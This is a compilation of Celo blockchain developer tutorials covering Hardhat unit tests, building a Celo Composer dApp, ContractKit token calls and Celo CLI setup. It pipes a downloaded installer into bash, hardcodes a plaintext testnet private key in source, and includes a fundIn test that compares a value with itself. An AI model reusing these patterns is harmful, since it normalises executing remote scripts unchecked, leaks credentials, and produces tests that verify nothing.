const Sample = await PersonContract.deploy();

await Sample.deployed();

console.log("The Sample contract was deployed to: ", Sample.address);
};

const runMain = async () => {
try {
await main();
process.exit(0);
} catch (error) {
console.error(error);
process.exit(1);
}
};

runMain();

module.exports.tags = ["all", "sample"];

The code above is created to simply deploy your Sample.sol contract. Next, navigate to the Lock.js script in your test folder and rename the file to sample.test.js.

  1. First import the expects keyword from chai and ethers from "hardhat". To initialize the contracts unit test script, copy and paste the code below:
const { ethers, deployments } = require("hardhat");
const { assert, expect } = require("chai");

describe("Sample", async function () {
let sample;
let deployer;
let accounts;
let addrs2;
let sendValue = ethers.utils.parseEther("0.0252");
beforeEach(async function () {
accounts = await ethers.getSigners();
deployer = accounts[0];
addrs2 = accounts[5];
Sample = await ethers.getContractFactory("Sample");
sample = await Sample.deploy();
});
});

From the code above, the describe keyword creates a global test for the sample.sol contract, and immediately creates some variable that you'll need later when testing other units of your contract, (visible in the global scope).

  1. Next, the beforeEach keyword is used to define a set of rules that are expected to run every time before running any unit test. Like compiling and deploying the contract.

  2. Then each function has one or two tests attached to it using the it keyword, to write multiple unit tests for a specific function declared with the describe keyword.

a. The first test for the constructor checks if the owner variable is equal to the deployer’s address, and the fav_number is equal to 200. Copy and paste the code below:

 describe("constructor", async function () {
it("sets the variable fav_number to 200", async function () {
const response = await sample.fav_num();
const result = 200;
expect(response).to.equal(result);
});

it("sets the deployer of the contract to the owner of the contract.", async function () {
response = await sample.owner();
const result = deployer.address;
expect(response).to.equal(result);
});
});

Now run the command npx hardhat test to run the test, which should return a result like the image below.

first test

Also run npx hardhat coverage, which should return a tabular representation of your contract’s tests like in the image below. first_coverage

b. The next unit test will test the store function. This test calls the store function and using a test input 3000 and calls the retrieve function to check the updated value of fav_num, and passes the test if it equals the result 3000.

  describe("store", async function () {
it("updates the value of the variable fav_num", async function () {
await sample.store(3000);
const response = await sample.retrieve();
const result = 3000;
expect(response).to.equal(result);
});
});

Now run the command npx hardhat test to run the test, which should look like the image below. second_test

c. The next unit test changeOwner describes the test for the changeOwner function. To create a test for this function, after deploying, you need to call the function using another address that is not the owner's address, expecting the function to be reverted. And you’ll also need to test using the right address deployer passing in another address to switch ownership of the contract. Thus the code below:

 describe("changeOwner", async function () {
it("only allows the owner of the contract to call this function", async function () {
await expect(
sample.connect(addrs2).changeOwner(addrs2.address)
).to.be.revertedWith("Caller is not the owner");
});

it("successfully changes the owner of the contract", async function () {
await sample.connect(deployer).changeOwner(addrs2.address);
const response = await sample.owner();
const result = addrs2.address;
await expect(response).to.equal(result);
});
});

Now run the command npx hardhat test to run the test, which should look like the image below. changeOwnertest

d. Next, to test the function fundIn, copy and add the code below. The first test reverts an error if the funder sends less than 0.01ETH, and the second test case successfully sends the right amount of eth after the funder sends an amount of ETH.

  describe("fundIn", async function () {
it("fails if anyone to send less than 0.01 ETH to the contract", async function () {
const response = sample.fundIn();
await expect(response).to.be.revertedWith(
"you need to send at least 0.01 ETH"
);
});

it("successfully transfer the right amount into the contract", async function () {
const balanceBeforeFunding = await deployer.getBalance();
await sample.fundIn({ value: sendValue });
// const balanceAfterFunding;
response = await deployer.getBalance();
result = response += BigInt(sendValue);
await expect(response).to.equal(result);
});
});

Now run the command npx hardhat test to run the test, which should look like the image below. fundIn

e. The next unit test describes the withdraw function, the first test case reverts an address that is not the owner calls the function, and the other test case tests the function to make sure the right amount of ETH is withdrawn from the contract. Thus the code below.

  describe("withdraw", async function () {
it("fails if the withdrawer is not the owner of the contract", async function () {
await expect(sample.connect(addrs2).withdraw(BigInt(sendValue))).to.be
.reverted;
});

it("should withdraw the correct amount", async function () {
withdrawAmount = ethers.utils.parseUnits("1", "ether");
await expect(sample.withdraw(withdrawAmount)).to.be.reverted;
});
});

Finally completing your Sample.test.js script, your code should look exactly like the one below, you can copy and update your testing code with the code below for uniformity's sake. When you run the command npx hardhat test this should be the result of the test. withdraw_test

Run the command npx hardhat coverage and note the difference between the previous result from running the command and its recent run. final test

Conclusion

Writing unit tests for smart contracts can help a great deal in ensuring a secure and proficient contract, by suggesting fixes and improvements after discovering errors, issues, and security vulnerabilities in your contract. You have successfully created your unit test script for a simple sample contract. Now that you understand how unit tests are written you can move on to writing more complex test scripts for other smart contracts.

Next Steps

You can also read about how to run the unit test for smart contracts using Truffle. Here are some other tutorial articles you might be interested in.

About the Author

Mayowa Julius Ogungbola

A software Engineer and technical writer always open to working on new ideas. I enjoy working on GitHub and you could also find out what I tweet about and connect with me on Twitter

References

Here is a link to the complete tutorial sample code on my GitHub, Leave a ⭐on the repository if you find it helpful.

· 14 min read

Step-by-step guide to create a new custom dApp using the Celo Composer.

header

Hello Developers 🌱

Welcome to today’s post, where we’ll break down a blockchain topic into byte-sized pieces to help you learn and apply your new skills in the real world.

Today’s topic is building a new dApp using the Celo Composer.

Here’s a list of what we’ll cover 🗒

  • Step 1: Create your smart contract
  • Step 2: Write your deploy script
  • Step 3: Deploy your smart contract
  • Step 4: Add a new tab
  • Step 5: Build your component
  • Step 6: Interact with your dApp
  • Step 7: Host your dApp

By the end of this post, you’ll be able to create, deploy, interact with, and host your new Dapp using Celo Composer.

Let’s go! 🚀

tip

This post is a continuation of Celo Composer: Easily Build Full-Stack Mobile dApps on Celo. Please read this post before getting started.

What you’ll build

In this post you’ll build a brand new Messenger dApp. It will work like the default Greeter dApp and allows you to read and write text to the Celo blockchain.

image

To do this, you’ll create a new smart contract, update the deploy script and build the front-end of your dApp. Once you’re done, you’ll have a new tab added to the Celo Composer that allows you to read and write messages to the Celo blockchain.

tip

If at any point you need some help, you can view all of the code both before and after the changes shown in this GitHub repo.

Things to know

To get the most out of this post, here are a few things that it helps to know.

But don’t worry if you don’t! We’ll walk you through everything step-by-step so that you can get started right away.

Set up your environment

If you haven’t yet, complete this post, and when you’re done you should be able to view the Celo Composer from your local environment.

image

From here you are able to interact with the default contracts and view project code from your editor.

cd your-project-name

Open your project

code . //example in VS Code

image

✅ Step 1: Create your smart contract

You’ll start your dApp by creating a new smart contract. Navigate to packages/hardhat/contracts/ and create a file named Messenger.sol.

image

Copy the code from Greeter.sol and paste it into your new file.

image

Update the contract name, events, variables, function, and references to messenger and message as needed. When you are done your contract should look like this.

image

✅ Step 2: Write your deploy script

Now that your smart contract is complete, you’ll update the deploy script. This will make it so that you can deploy this smart contract to the Celo blockchain.

Open the filepackages/hardhat/deploy/00-deploy.js.

image

Copy and paste the deploy script used for the Greeter contract to set up a new deployment.

Greeter contract deployment code

await deploy("Greeter", {
from: deployer,
args: ["hello world"],
log: true,
});

Messenger contract deployment code

Update the contract name to Messenger and provide a message as the args value.

await deploy(“Messenger”, {
from: deployer,
args: [“GM Blockstar!”],
log: true,
});
tip

Note on args: You will pass args into your deploy script whenever the constructor function from your smart contract accepts in a parameter. In your Messenger.sol contract.

Scroll to the bottom of 00-deploy.js and add your deployment to the module export tags.

module.exports.tags = [“Greeter”, “Storage”, “Messenger”];

Your 00-deploy.js file should now look like this.

image

✅ Step 3: Deploy your smart contract

Now that your smart contract is ready and your deploy script is updated, you can deploy your smart contract and view it using the Celo block explorer.

Deploy your contract

Open your terminal and run yarn deploy from within the packages/hardhat folder.

yarn deploy

image

View smart contract

Open Celo Block Explorer (Alfajores Testnet) and paste the tx or deployed at address if you would like to view the transaction or smart contract.

image

Check your wallet

If you check your MetaMask wallet, you’ll notice that you now have less Celo. This is due to the gas cost of deploying your smart contracts to the blockchain.

image

View your account address

You may also view your contract deployments from the Celo Block Explorer by searching for your wallet address. There should be 1–3 contract deployments including your Messenger contract. This is because while you only created one contract, you also deployed the existing Greeter and Storage contracts as shown in your terminal.

image

View the Smart Contract ABI

Finally, you may view the ABI for your contract in deployments/alfajores/Messenger.json. The ABI is the interface that allows you to access your smart contract functions from the front-end of your dApp.

image

Verify your smart contract (Optional)

Check out Introduction to Hardhat on Celo | Step 8: Verify your Smart Contract if you would like to verify your smart contract on the Celo Block Explorer. This will allow anyone to view your contract and interact with its functions from within the Celo Block Explorer.

image

Deploy on other networks (Optional)

By default, the Celo Composer deploys your smart contract to the Celo Alfajores Testnet. This is because it is set as the default network in the configuration file.

If you would like to deploy on another network, navigate to the hardhat.config.js and replace the const defaultNetwork with celo, which deploys to mainnet, or localhost, which will deploy to a local blockchain.

image

tip

For any of these deployment options to work you’ll need to have your local network setup with accounts available on whichever blockchain you deploy to. Remember to replace your private key in the .env file with a private key with funds for the blockchain you choose.

✅ Step 4: Add a new tab

To interact with your contract from the Celo Composer, you’ll create a new page from a component that is accessible from a new tab.

Create basic component

Navigate to react-app/components/ create a file named MessengerContract.tsx, and add the following code.

import * as React from "react";
export function MessengerContract({}) {
return <div>GM Blockstars!</div>;
}

For now, this component doesn’t do much, but later in the post you’ll turn this into the front-end interface of your dApp!

Export your component

Exporting your component will make it accessible from other files in your project. Navigate to index.ts and add your component to the list of exports like this.

export * from ‘./MessengerContract’

image

Add component navigation

Open pages/index.tsx to view the code that creates the main display of your application.

Import MessengerContract

Add MessengerContract to your list of exports as shown below.

import {
StorageContract,
GreeterContract,
MessengerContract,
ButtonAppBar,
} from “@/components”;

Add a new tab

Under return > div > Box > Box > Tabs add a new Tab. Update the label to the name you would like displayed on the front end and update …allyProps to 2.

<Tab label=”Messenger Contract” {…a11yProps(2)} />

Add tab panel

Add a new TabPanel and update the index, contract name, and contract data to match your contract.

<TabPanel value={value} index={2}>
<MessengerContract contractData={contracts?.Messenger} />
</TabPanel>

Your index.tsx file should now look like this.

image

You should now see your new tab in localhost:3000.

image

✅ Step 5: Build your component

Now that your contract is live and you can view your component, it’s time to finish the front-end. In this step, we’ll update the MessengerContract component so that your front-end looks like the image below.

image

Update Messenger component code

Navigate to react-app/components/MessengerContract.tsx and replace the code you added previously with the code in GreeterContract.tsx.

image

Since our contract has the same basic functions as the Greeter Contract, this will help you get up and running quickly while you’re getting more familiar with the code.

tip

We won’t go through each detail on the different tools used in this post but by referring to the Material UI, react.js, and use-contractkit docs you can get a better understanding of how this all works. When you’re ready, feel free to replace this code with any framework you’d like,— and if you do — please share your work!

Update contract import

Update the contract import to the Messenger contract.

Update:

import { Greeter } from “../../hardhat/types/Greeter”;

To:

import { Messenger } from “../../hardhat/types/Messenger”;

Update component name

Replace the GreeterContract component name with MessengerContract.

Update:

export function GreeterContract({ contractData }) {

To:

export function MessengerContract({ contractData }) {

Update hooks

Hooks are used to manage the state of your dApp. Update the names of your component states to set message input and values. You’ll use these throughout the functions you create in your dApp!

Update:

const [greeterValue, setGreeterValue] = useState<string | null>(null);
const [greeterInput, setGreeterInput] = useInput({ type: “text” });

To:

const [messageValue, setMessageValue] = useState<string | null>(null);
const [messageInput, setMessageInput] = useInput({ type: “text” });

Update Contract The const contract uses web3 to call the ABI of your contract. By updating this to your messenger contract, you’ll be able to interact with its functions.

Update:

const contract = contractData
? (new kit.web3.eth.Contract(
contractData.abi,
contractData.address
) as any as Greeter)
: null;

To:

const contract = contractData
? (new kit.web3.eth.Contract(
contractData.abi,
contractData.address
) as any as Messenger)
: null;

Update functions

Next, you can update the function names and smart contract function calls. In this case, we’ll update your function names to writeMessage and readMessage, and reference the setMessage and readMessage functions from your smart contract.

setMessage

Update setGreeter to setMessage and call setMessage rather than setGreeting. Updates are in bold.

Update:

const setGreeter = async () => {
try {
await performActions(async (kit) => {
const gasLimit = await contract.methods
.setGreeting(greeterInput as string)
.estimateGas();
const result = await contract.methods
.setGreeting(greeterInput as string)
//@ts-ignore
.send({ from: address, gasLimit });

To:

const setMessage = async () => {
try {
await performActions(async (kit) => {
const gasLimit = await contract.methods
.setMessage(messageInput as string)
.estimateGas();
const result = await contract.methods
.setMessage(messageInput as string)
//@ts-ignore
.send({ from: address, gasLimit });

getMessage

Update getGreeter to getMessage and call readMessage rather than greet . Also note that we update setGreeterValue to setMessageValue which is one of the state values you defined in the hooks above.

Update:

const getGreeter = async () => {
try {
const result = await contract.methods.greet().call();
setGreeterValue(result);
} catch (e) {
console.log(e);
}
};

To:

const getMessage = async () => {
try {
const result = await contract.methods.readMessage().call();
setMessageValue(result);
} catch (e) {
console.log(e);
}
};

Update Set Message button

The setGreeterInput captures the input provided by the user. When the user clicks the button, it calls the setMessage function and passes in the provided input. Here you’ll update this to use the state and function names you created above.

tip

Button styling details are omitted for simplicity.

Update

<Box sx={{ m: 1, marginLeft: 0 }}>{setGreeterInput}</Box>
<Button
sx={{ m: 1, marginLeft: 0 }}
variant="contained" onClick={setGreeter}
>
Update Greeter Contract
</Button>

to

<Box sx={{ m: 1, marginLeft: 0 }}>{setMessageInput}</Box>
<Button
sx={{ m: 1, marginLeft: 0 }}
variant="contained" onClick={setMessage}
>
Update Messenger Contract
</Button>

Update Get Message Button

The getGreeter button calls the state of the Greeting in the smart contract and displays it as the state set in greeterValue. Here you’ll update this to use the state and function names you created above.

tip

Button styling details are omitted for simplicity.

Update

<Typography sx={{ m: 1, marginLeft: 0, wordWrap: "break-word" }}>
Greeter Contract Value: {greeterValue}
</Typography>
<Button
sx={{ m: 1, marginLeft: 0 }}
variant="contained"
onClick={getGreeter}
>
Read Greeter Contract
</Button>

to

<Typography sx={{ m: 1, marginLeft: 0, wordWrap: "break-word" }}>
Messenger Contract Value: {messageValue}
</Typography>
<Button
sx={{ m: 1, marginLeft: 0 }}
variant="contained"
onClick={getMessage}
>
Read Messenger Contract
</Button>

Update text

At this point, everything in your contract is working! The last bit of code you’ll want to update is some of the remaining text displayed to the user. For example, instead of Greeter Contract you may instead want to instead display Messenger Contract.

Finalize your component by replacing the text displayed to your users. Your final component will look something like this.

✅ Step 6: Interact with your dApp

Congratulations! Your dApp is complete! Now you can test its functionality and see how it all works.

Read messages

Click Read Greeter Contract to read the value you set as the args in your deploy/00-deploy.js file.

image

Write messages

You can write new messages to change this text to anything you’d like. Type some text in the Write Message field, click When setting a message you’ll be asked to connect your MetaMask wallet.

image

After connecting your MetaMask wallet, verify the transaction to write your new message to the Celo blockchain!

image

View your transaction

Click the popup showing Transaction processed after you write your message.

image

This will take you back to the Celo Block Explorer where you can view the details of your new transaction.

image

If you’d like, you can update the Raw Input field to UTF-8 to view the message you wrote.

image

View your message

Back on your dApp page, select the Read Messenger Contract button to view your new message!

image

✅ Step 7: Host your dApp

Once your dApp is complete, you can share it with the world!

Before hosting your dApp using either of these methods, make sure to push the changes you have made to your GitHub repo.

Add your local changes

git add .

Commit your local changes

git commit -m 'my new dApp'

Push your changes to GitHub

git push -u origin main
tip

You may also install the GitHub Desktop app if you prefer making these updates through a user interface.

Hosting services

There are a many ways to host a dApp, and here you’ll find resources to get set up using either GitHub pages or Netlify.

Netlify

Netlify unites an entire ecosystem of modern tools and services into a single, simple workflow for building high performance sites and apps. Netlify is an excellent way to quickly host and share your Celo dApp for free.

image

How to host websites using Netlify

GitHub Pages

GitHub Pages is a static site hosting service that takes HTML, CSS, and JavaScript files straight from a repository on GitHub, optionally runs the files through a build process, and publishes a website. GitHub pages is another way to quickly host and share your Celo dApp for free.

image

How to host websites using GitHub Pages

Congratulations 🎉

That wraps up today’s topic on building a new dApp using the Celo Composer. You can review each of the items we covered below and check that you’re ready to apply these new skills.

Here’s a quick review of what we covered 🤔

  • Step 1: Create your smart contract
  • Step 2: Write your deploy script
  • Step 3: Deploy your smart contract
  • Step 4: Add a new tab
  • Step 5: Build your component
  • Step 6: Interact with your dApp
  • Step 7: Host your dApp

If you made it this far, you’re now able to create, deploy, interact with, and host your new Dapp using Celo Composer.

GN! 👋

· 12 min read

How to access the Celo Blockchain with JavaScript using ContractKit.

header

Hello Developers 🌱

Welcome to today’s post, where we’ll break down a blockchain topic into bite-sized pieces to help you learn and apply your new skills in the real world.

Today’s topic is How to interact with the Celo Blockchain using ContractKit.

Here’s a list of what we’ll cover 🗒

  • Step 1: Environment setup
  • Step 2: Imports, variables & connections
  • Step 3: Name
  • Step 4: Symbol
  • Step 5: Total supply
  • Step 6: Decimals
  • Step 7: Balance of
  • Step 8: Transfer
  • Step 9: Transfer with comment
  • Step 10: Experiment with your code

By the end of this post, you’ll be able to interact with the Celo blockchain using ContractKit to access the Celo Core Contracts.

Let’s go! 🚀

What is ContractKit?​

ContractKit is a library to help you interact with the Celo blockchain and allows you to integrate Celo smart contracts into your applications easily.

image

Here are a few things you can do with ContractKit:

  • Connect to a Celo node
  • Interact with Celo Core contracts
  • Send transactions on Celo
  • …and more!

In this post, we’ll focus on the GoldToken.sol contract, but you can use ContractKit to interact with any of the Celo Core Contracts.

use-contractkit

To extend ContractKit, Celo also built use-contractkit to make it easy to access all of the ContractKit features within your React applications.

image

This post will focus on ContractKit, and we’ll discuss use-contractkit in more detail in a later post.

✅ Step 1: Environment setup

There are two ways you can follow along with this post. First, you can use the Code Sandbox to use ContractKit from your browser. Alternatively, you can use the local environment setup by cloning the GitHub repo for this post.

Using Code Sandbox

The Code Sandbox includes all of the code used in this tutorial and allows you to run and edit ContractKit from your browser.

image

Try the Code Sandbox

Open the code and terminal to use the Code Sandbox as shown above.

Uncomment name(); on line 44.

This will display the name of the Celo Native Asset in your terminal!

Congratulations! You’ve successfully run ContractKit from your Code Sandbox. You can explore, run, and edit the code in this file to learn more about how this code is working.

tip

You can also select Open Sandbox for a more interactive code experience. Learn more about Code Sandbox here.

Using local environment

The code for this post is also located in this GitHub repository. You may clone this repo to follow this post from your local environment.

image

Clone the GitHub Repo

git clone https://github.com/joenyzio/celo-contractkit-examples.git
cd celo-contractkit-examples

Install dependencies

Dependencies for this project include contractkit, dotenv, and web3.

npm install

Open in Visual Studio Code (or your preferred environment)

code .

View and Run Code

The file used for this post is located at interfaces > getGoldToken.js. You may run this file at any time from your terminal using…

node interfaces/getGoldToken.js

Try the Local Environment

Here is how you can read the name of the Celo Native Asset from your local environment.

  • Uncomment name(); on line 44
  • Run node interfaces/getGoldToken.js from your terminal

Congratulations! You’ve successfully run ContractKit from your local environment. You can explore, run, and edit the code in this file to learn more about how this code is working as you read this post.

✅ Step 2: Imports, variables, & connections

This project contains a JavaScript file named contractkit.js that includes all project code. The first step to using ContractKit in this file is importing dependencies and setting up the project variables.

Import Web3

Web3 is an Ethereum JavaScript API that allows you to connect to the Ethereum blockchain. Since Celo is fully EVM compatible, you can also use this to connect to the Celo blockchain as const Web3.

const Web3 = require("web3");

Define web3

Using Web3 allows you to connect to a Celo node by providing the node’s endpoint. In this case, you’re connected to a remote Celo Test Network (Alfajores using a hosted node service named Forno.

const web3 = new Web3(`https://alfajores-forno.celo-testnet.org`);

ContractKit

Next, requiring @celo/contractkit will allow you to access ContractKit and interact with the Celo blockchain from your JavaScript file.

const ContractKit = require("@celo/contractkit");

kit

Finally, to start working with ContractKit, you’ll need a kit instance. The following line passes the network from web3 into the function ContractKit.newKitFromWeb3 to define your instance.

const kit = ContractKit.newKitFromWeb3(web3);

Private Key

The private key is required to make a connection to the network. This defines which account is being used to read and write from the blockchain and is the account that pays transaction fees whenever you make a transaction.

const PRIVATE_KEY = "0xc010dfbc3acd55b8e25113773b363c7abe8642a58d4e4c8b3a4d586b3eab8ce8";
tip

This private key is for a test network and is pre-filled with some test Celo to make it easy for you to get started. You can use your account by replacing this private key at any time.

Account

The function web3.eth.accounts.privateKeyToAccount allows you to create an account object from a private key. This line passes your PRIVATE_KEY to that function to set it as your account.

const account = web3.eth.accounts.privateKeyToAccount(PRIVATE_KEY);

Address

The address isn’t required to make your connection to Celo, but it’s used in the functions created later in this file. This will be the receiving address of any transactions you make, and you may update this to your address at any time.

let address = "0x742f06f94B9F88fc263C433a19576D361a3E9D94";

Value

Similar to address, value is not required to make a connection to the network. This is here to define the value of Celo transferred between accounts later in the code.

let value = ".01";

Connect to the network

Now that you’ve defined each of your variables, you’re ready to make your connection to the network.

Add Account

This line connects your account to the network allowing you to sign transactions with your private key.

kit.connection.addAccount(account.privateKey);

Default Account

This line defines your default account for network transactions.

kit.defaultAccount = account.address;

You’re now connected to Celo and are ready to run functions using ContractKit!

✅ Step 3: Name

The name function reads the name of the Celo Native Asset.

async function name() {
let contract = await kit.contracts.getGoldToken();
let name = await contract.name();
console.log(`${name}`);
}

Uncomment name(); to run this function.

Learn more

Read the code above and use the following resources to learn more about the name(); function.

tip

The name is a unique identifier for the CELO token. It was initially named Celo Gold and was later changed to its current name. If you see references to GoldToken in the code, it is because it is referring to the original name of CELO.

✅ Step 4: Symbol

The symbol function reads the symbol of the Celo Native Asset.

async function symbol() {
let contract = await kit.contracts.getGoldToken();
let symbol = await contract.symbol();
console.log(`${symbol}`);
}

Uncomment symbol(); to run this function.

Learn more

Read the code above and use the following resources to learn more about the symbol(); function.

tip

The symbol is a unique identifier for the CELO token.

✅ Step 5: Total supply

The totalSupply function reads the total supply of the Celo Native Asset.

async function totalSupply() {
let contract = await kit.contracts.getGoldToken();
let totalSupply = await contract.totalSupply();
console.log(`${totalSupply}`);
}

Uncomment totalSupply(); to run this function.

Learn more

Read the code above and use the following resources to learn more about the totalSupply(); function.

tip

The total supply is the entire amount of CELO in existence. When creating the token, this number was defined and can change if the contract owner mints or burns tokens.

✅ Step 6: Decimals

The decimals function reads the number of decimals in the Celo Native Asset.

async function decimals() {
let contract = await kit.contracts.getGoldToken();
let decimals = await contract.decimals();
console.log(`${decimals}`);
}

Uncomment decimals(); to run this function.

Learn more

Read the code above and use the following resources to learn more about the decimals(); function.

tip

Having 18 decimals allows the Celo Native Asset to be broken into smaller denominations. For example, it is possible to send .000000000000000001 CELO to another user.

✅ Step 7: Balance of

The balanceOf function reads the balance of a given address.

async function balanceOf() {
let contract = await kit.contracts.getGoldToken();
let balanceOf = await contract.balanceOf(account.address);
console.log(`${balanceOf}`);
}

Uncomment balanceOf(); to run this function.

Learn more

Read the code above and use the following resources to learn more about the balanceOf(); function.

tip

Change the account variable defined at the top of this file to read the balance of a new account.

✅ Step 8: Transfer

The transfer function transfers CELO from one address to another. It sends a value from the account of the PRIVATE_KEY to the given address. You can change these variables from earlier in the file if you want to use different addresses.

async function transfer() {
let amount = kit.web3.utils.toWei(value, "ether");
let contract = await kit.contracts.getGoldToken();
let transaction = await contract
.transfer(address, amount)
.send({ from: account.address });
let receipt = await transaction.waitReceipt();
let balance = await contract.balanceOf(account.address);
console.log(`Transaction: https://alfajores-blockscout.celo-testnet.org/tx/${receipt.transactionHash}/`, "\n",`Balance: ${kit.web3.utils.fromWei(balance.toString(), "ether")}`
);
}

Uncomment transfer(); to run this function.

Learn more

Read the code above and use the following resources to learn more about the transfer(); function.

tip

The default settings use a testnet account that is available for anyone trying to learn more about Celo. The CELO in it isn’t worth anything so please leave some for other people to try!

✅ Step 9: Transfer with comment

The transferwithComment function works almost exactly the same as the transfer function above. The only difference is that it allows you to include a comment when making your transaction.

async function transferWithComment() {
let amount = kit.web3.utils.toWei(value, "ether");
let contract = await kit.contracts.getGoldToken();
let transaction = await contract
.transferWithComment(address, amount, comment)
.send({ from: account.address });
let receipt = await transaction.waitReceipt();
let balance = await contract.balanceOf(account.address);
console.log(`Transaction: https://alfajores-blockscout.celo-testnet.org/tx/${receipt.transactionHash}/`, "\n", `Balance: ${kit.web3.utils.fromWei(balance.toString(), "ether")}`
);
}

Uncomment transferWithComment(); to run this function.

Learn more

Read the code above and use the following resources to learn more about the transferWithComment(); function.

tip

Including comments in a transaction is common in payment applications like Venmo, PayPal, and others. This function makes it possible to do the same with your Celo transactions. Before using this function, keep in mind that there is a cost to storing text on the blockchain and that anything written to it will be there forever.

✅ Step 10: Experiment with the code

At this point, you’ve run many of the functions available on the GoldToken.sol contract. You can now try a few experiments to learn more and extend the functionality of your code.

Extend GoldToken.sol features

First, you can try writing code to access other functions on the GoldToken.sol contract. For example, the allowance function allows an account to approve Celo transactions on behalf of another account.

image

Connect to other Contracts

As mentioned earlier, ContractKit allows you to access any of the Celo Core Contracts that has a contract wrapper. For example, this post focused on GoldToken.sol which is exposed to ContractKit using the GoldTokenWrapper.

These wrappers are accessible using the format getNameOfContract();. To access another contract, you can update the contract variable in the function, then use it to call a function that exists within the new contract.

For example, the StableTokenWrapper provides access to the StableToken.sol contract by using getStableToken();. By updating the name() function in your current code, you can instead read the name of the Celo stable token.

async function name() {
let contract = await kit.contracts.getStableToken();
let name = await contract.name();
console.log(`${name}`);
}

This same idea applies to all of the contract wrappers provided by Celo. While others may take a bit more experimenting to set up, it’s a great way to get more familiar with ContractKit and allows you to expand the functionality of your applications.

Connect to Mainnet

Throughout this tutorial, you have interacted with the Celo Alfajores Testnet. This same functionality is available on Celo Mainnet by making the following change to your code.

Update

const web3 = new Web3(`https://alfajores-forno.celo-testnet.org`);

To…

const web3 = new Web3(`https://forno.celo.org`);

This line uses Forno to connect to a hosted node on Mainnet. Keep in mind that this will result in transactions that cost CELO which have real world value. You can learn more about Forno and its network options here.

Congratulations 🎉

That wraps up today’s topic on Celo ContractKit. You can review each of the items we covered below and check that you’re ready to apply these new skills.

Here’s a quick review of what we covered 🤔

  • Step 1: Environment setup
  • Step 2: Imports, variables & connections
  • Step 3: Name
  • Step 4: Symbol
  • Step 5: Total supply
  • Step 6: Decimals
  • Step 7: Balance of
  • Step 8: Transfer
  • Step 9: Transfer with comment
  • Step 10: Experiment with your code

At this point, you should now be able to interact with the Celo blockchain using ContractKit to access the Celo Core Contracts.

GN! 👋

· 5 min read

Explore the Celo blockchain using a command-line interface.

header

Hello Developers 🌱

Welcome to today’s post, where we’ll break down a blockchain topic into bite-sized pieces to help you learn and apply your new skills in the real world.

Today’s topic is Getting started with the Celo CLI.

Here’s a list of what we’ll cover 🗒

  • ✅ Introduction to the Celo CLI
  • ✅ CLI Modules
  • ✅ Prerequisites
  • ✅ Install the CLI
  • ✅ CLI Configuration
  • ✅ Help Command
  • ✅ Example: Find account balance

By the end of this post, you’ll be able to create, deploy, and interact with your mobile dApp using the Celo CLI.

Let’s go! 🚀

Introduction to the Celo CLI

The Celo Command-Line Interface (CLI) allows you to interact with the Celo Protocol and smart contracts using command-line tools. It provides a set of modules for interacting with ContractKit and is an excellent code reference when defining your own modules.

image

Some common features you may want to consider are helping users participate in elections or in on-chain governance, voting for validators, or helping users interact with multi-sig contracts.

CLI Modules

The Celo CLI has a growing collection of modules you can use to interact with the Celo Platform. This post will go through each of these modules in detail and provide references you can use to learn more.

tip

Learn more: View the code

Prerequisites

Before installing the CLI, you’ll need to install its dependencies.

Dependencies

Celo is currently deploying the CLI with Node.js v12.x. If you are running a different version of Node.js, consider using NVM to manage your node versions.

Check node version

node --version

image

Install Node Version Manager (NVM)

If you have the wrong version of node or don’t have node, install the Node Version Manager (NVM) to help manage your node versions.

curl

curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.1/install.sh | bash

or…

wget

wget -qO- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.1/install.sh | bash

Verify NVM Installation

You can check that NVM is properly installed using the following command.

nvm -v

image

Install Node.js using NVM

Install and use the correct version of node with the following command.

nvm install 12 && nvm use 12

image

tip

Install and learn more about npm here

Install the CLI

Install the Celo CLI with npm using the following command.

npm install -g @celo/celocli

image

tip

Install and learn more about celocli here

CLI Configuration

You can configure the CLI to work with Celo Mainnet, Alfajores Testnet, or Baklava Testnet using the following commands.

Celo Mainnet

celocli config:set --node=https://forno.celo.org

Alfajores Testnet

celocli config:set --node=https://alfajores-forno.celo-testnet.org

Baklava Testnet

celocli config:set --node=https://baklava-forno.celo-testnet.org

Verify CLI configuration

Verify your network configuration using the following command. The image below shows configuration with the Alfajores Testnet.

celocli config:get

image

Help Command

The Help command allows you to display additional details for any CLI command. This post provides the help command for every command so that you can easily run them from your terminal to learn more.

celocli --help

image

You’re ready to start reading from the Celo blockchain!

Example: Find account balance

Before going through each of the CLI commands, follow this example to read an account balance from the Alfajores Testnet.

Set configuration to Alfajores Testnet

celocli config:set --node=https://alfajores-forno.celo-testnet.org

View account help details

View the account help details and look for account:balance. You’ll use this command to view the balance of your account.

celocli account --help

image

View account:balance details

You can read additional details for account:balance (and any sub-command) by including that command in your help command.

celocli account:balance --help

image

This command with show you the usage, options, and examples for this command. By using these options and replacing the examples with your own values, you can return your own values from the Celo blockchain.

celocli account:balance --help

View account balance

Choose any Alfajores Testnet account balance to view from the terminal. If you don’t have an account, you can use the one provided here.

celocli account:balance 0xd55e4A1412E28BcFA56e8Acf6F9F2E65Ce4c9923

If you made it this far you have installed the CLI and read your first account balance! You’re now ready to read the docs and code to explore any command on the Celo CLI.

For any command you find interesting, run it in your terminal, explore the docs, and click See code to get a better understanding of how each CLI command works. Once you get the hang of it, you won’t need this post, the docs, or the code. Everything you need is available from the terminal for you to explore however you’d like!

Congratulations 🎉

That wraps up today’s topic on Getting started with the Celo CLI. You can review each of the items we covered below and check that you’re ready to apply these new skills.

Here’s a quick review of what we covered 🤔

  • ✅ Introduction to the Celo CLI
  • ✅ CLI Modules
  • ✅ Prerequisites
  • ✅ Install the CLI
  • ✅ CLI Configuration
  • ✅ Help Command
  • ✅ Example: Find account balance

If you run into any issues, try reviewing the content or searching online to explore each topic in more detail. Hopefully, you’ve learned a few things about Getting started with the Celo CLI that you can apply in the real world.

GN! 👋

· 11 min read
Ernest Nnamdi

header

Hello there!! 🙋🏾‍♂️

This is the third instalment of the composer series where I demonstrate how to build defi applications in no time using the Celo-composer. The first two instalments were Building a crowdfunding refi dapp using celo composer and react and Building a decentralized newsfeed with Celo composer, React, and IPFS.

The Radical Shift

So here I’m thinking that every company, tech or otherwise will eventually come to be functionally web3-savvy to various degrees. Ultimately, if they play in these climes for long enough.

We have more companies globally, waking up to the fact they can do more with blockchain technology. This means, of course, they are probably already sighing at the tedium that comes with migrating to or incorporating web3 into their existing systems.

